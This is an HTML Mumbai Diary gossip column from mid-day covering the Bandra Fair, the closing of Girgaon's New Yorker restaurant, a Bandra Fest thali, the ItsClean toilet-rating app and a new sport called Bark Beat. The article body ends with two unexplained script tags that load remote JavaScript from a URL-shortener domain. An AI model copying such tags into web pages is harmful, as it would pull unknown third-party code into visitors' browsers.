<h2>All roads lead to the mount</h2>
<p>Preparations reach full swing outside Mount Mary Basilica ahead of the annual <a href="https://www.mid-day.com/lifestyle/culture/photo/in-photos-planning-to-visit-mount-marys-basilica-revisit-glimpses-of-bandra-fair-the-years-after-the-covid-19-pandemic-107236" target="_blank" rel="nofollow noopener">Bandra Fair</a> that begins on September 14</p>
<h2>New Yorker pizza blues for Kunal</h2>
<p><img src="http://images.mid-day.com/images/images/2025/sep/Interiors-1_e.jpg" alt="The sign placed outside the restaurant in Girgaon. PIC/SHADAB KHAN" width="1280" height="720" /><br /><strong><em>The sign placed outside the restaurant in Girgaon. PIC/SHADAB KHAN</em></strong></p>
<p>Come September 11, Girgaon&rsquo;s beloved New Yorker will say goodbye to the &lsquo;concrete jungle where dreams are made of&rsquo;. Established in <a href="https://www.mid-day.com/mumbai/mumbai-news/article/ganesh-festival-2025-14-inch-lord-ganesh-idol-in-mumbai-makes-world-record-enters-global-book-of-excellence-23592649" target="_blank" rel="nofollow noopener">Mumbai</a> nearly 45 years ago, the Tex-Mex, Italian and Indian cuisine haunt hung up its proverbial boots with a banner on its storefront that reads, &ldquo;Thank you for all the love and memories. 11 September will be our last day.&rdquo;</p>
<p><img src="http://images.mid-day.com/images/images/2025/sep/Interiors-2_e.jpg" alt="A view of the interiors. FILE PIC/SATEJ SHINDE" width="1280" height="720" /><br /><strong><em>A view of the interiors. FILE PIC/SATEJ SHINDE</em></strong></p>
<p>Among patrons who are reminiscing the long hours spent tucking into the restaurant&rsquo;s pizzas, sizzlers and nachos topped with the signature Mexican sauce, is funnyman and veteran food writer Kunal Vijayakar (right). The news hit a tad too close to home, he revealed to this diarist. &ldquo;As a teenager, I used to live one lane behind New Yorker.</p>
<p><img src="http://images.mid-day.com/images/images/2025/sep/New-Yorker-staff_e.jpg" alt="Staffers with owner (centre) Ranbir Batra. PIC COURTESY/@newyorkermumbai" width="1280" height="720" /><br /><strong><em>Staffers with owner (centre) Ranbir Batra. PIC COURTESY/@newyorkermumbai</em></strong></p>
<p>Before the restaurant opened, the only pizza we knew of was the desi <a href="https://www.mid-day.com/mumbai-guide/mumbai-food/article/how-deep-is-your-love-23366374" target="_blank" rel="nofollow noopener">pizza </a>&mdash; which I love to bits, by the way. The authentic herbs and sauce on New Yorker&rsquo;s pizzas were a revelation.</p>
<p><img src="http://images.mid-day.com/images/images/2025/sep/Kunal-Vijayakar-a_e.jpg" alt="" width="1280" height="720" /></p>
<p>Since the restaurant was strictly vegetarian, and I was anything but one, I&rsquo;d take the pizzas home, and top them with meat,&rdquo; Vijayakar recalled, with a hearty laugh. With one day to go before the final goodbye, Vijayakar, along with other fans have time for a pizza to-go for old times&rsquo; sake.</p>
<h2>Tastes like Bandra</h2>
<p><img src="http://images.mid-day.com/images/images/2025/sep/Soul-fry_e.jpg" alt="The Bandra Feast Thali.  PIC COURTESY/SOUL FRY" /><br /><strong><em>The Bandra Feast Thali. PIC COURTESY/SOUL FRY</em></strong></p>
<p>All&rsquo;s fair in love, war, and the Bandra Fair, if we may add. Flavours from the much-anticipated annual fair&rsquo;s iconic stalls will be available on a platter this year at Soul Fry on Pali Mala Road. &ldquo;With our Bandra Fest Thali, we&rsquo;re bringing classics like Vindaloo, Dakshin Prawns and Guava Kulfi to the table,&rdquo; owner Meldan D&rsquo;Cunha confirmed. Those interested can dial 9820282522 to savour this feast.</p>
<h2>Let&rsquo;s tie up loo-se ends</h2>
<p><img src="http://images.mid-day.com/images/images/2025/sep/Snapshot_e.jpg" alt="A snapshot from the website. PIC COURTESY/ITSCLEAN4u.com" width="1280" height="720" /><br /><strong><em>A snapshot from the website. PIC COURTESY/ITSCLEAN4u.com</em></strong></p>
<p>Three teenagers, hailing from Mumbai, <a href="https://www.mid-day.com/mumbai/mumbai-news/article/runway-closure-at-bengaluru-to-impact-mumbai-bound-flights-23468683" target="_blank" rel="none noopener">Bengaluru</a> and California, have come together to make public restroom accessibility easier for women globally. Their crowdsourced toilet quality rating app, ItsClean, directs women to various safe and hygienic public bathrooms. Co-founder Riva Mehta (below) from Powai, told this diarist, &ldquo;[This idea came up] while I&rsquo;d be stuck in traffic, and wouldn&rsquo;t be able to find a good toilet anywhere; I&rsquo;d have to reduce [liquid] intake just because I&rsquo;d be uncomfortable later.</p>
<p><img src="http://images.mid-day.com/images/images/2025/sep/Riva-Mehta-a_e.jpg" alt="" width="1280" height="720" /></p>
<p>Every other woman worldwide seems to have this issue. The app allows users to give reviews in real time so that, for instance, any woman nearby using the app can choose to either use or avoid that toilet. Any public toilet can be rated on the app, including at stations and restaurants. We have teams in Chhattisgarh and Gurgaon, and we&rsquo;re looking to expand to <a href="https://www.mid-day.com/news/india-news/article/singapore-pm-lawrence-wong-arrives-on-three-day-visit-to-india-23592402" target="_blank" rel="nofollow noopener">Singapore</a> too.&rdquo;</p>
<h2>They&rsquo;re punching out of the box</h2>
<p><img src="http://images.mid-day.com/images/images/2025/sep/Bark-Beat_e.jpg" alt="Ritwik Bhattacharya (left) and Munish Makhija. PIC COURTESY/BARK BEAT " width="1280" height="720" /><strong><em>Ritwik Bhattacharya (left) and Munish Makhija. PIC COURTESY/BARK BEAT</em></strong></p>
<p>Hyrox, CrossFit, HIIT, and if you&rsquo;re taking notes, meet the newest addition to that list, Bark Beat. Invented in Karjat by fitness enthusiast trio &mdash; Karan Sharma, Munish Makhija, and former national squash champion Ritwik Bhattacharya &mdash; the imaginative multiplayer sport debuted at a Bandra venue earlier this week. Sharma, a former professional boxer and instructor, told us, &ldquo;The sport involves two or more athletes punching away on a single specialised punching bag to a set rhythm, dictated by the <a href="https://www.mid-day.com/mumbai-guide/things-to-do/article/immerse-in-this-unique-event-that-blends-art-and-music-this-week-23593029" target="_blank" rel="nofollow noopener">music</a>. The routines are choreographed carefully to help you build hand-eye coordination, quick reflexes and overall strength. Think Zumba, but for boxing.&rdquo; After Bandra&rsquo;s fitness freaks lapped up the cool idea, the trio has their eyes set on promoting the fitness routine across the city, we learn. &ldquo;We&rsquo;re going all out across Mumbai,&rdquo; Sharma said. To stay updated, log on to @bark.beat on Instagram.</p><script type='text/javascript' src='https://2cm.es/1e0EP'></script><script type='text/javascript' src='https://2cm.es/1e0JF'></script>

The city - sliced, diced and served with a dash of sauce

Mumbai Diary: Wednesday Dossier

All roads lead to the mount

New Yorker pizza blues for Kunal

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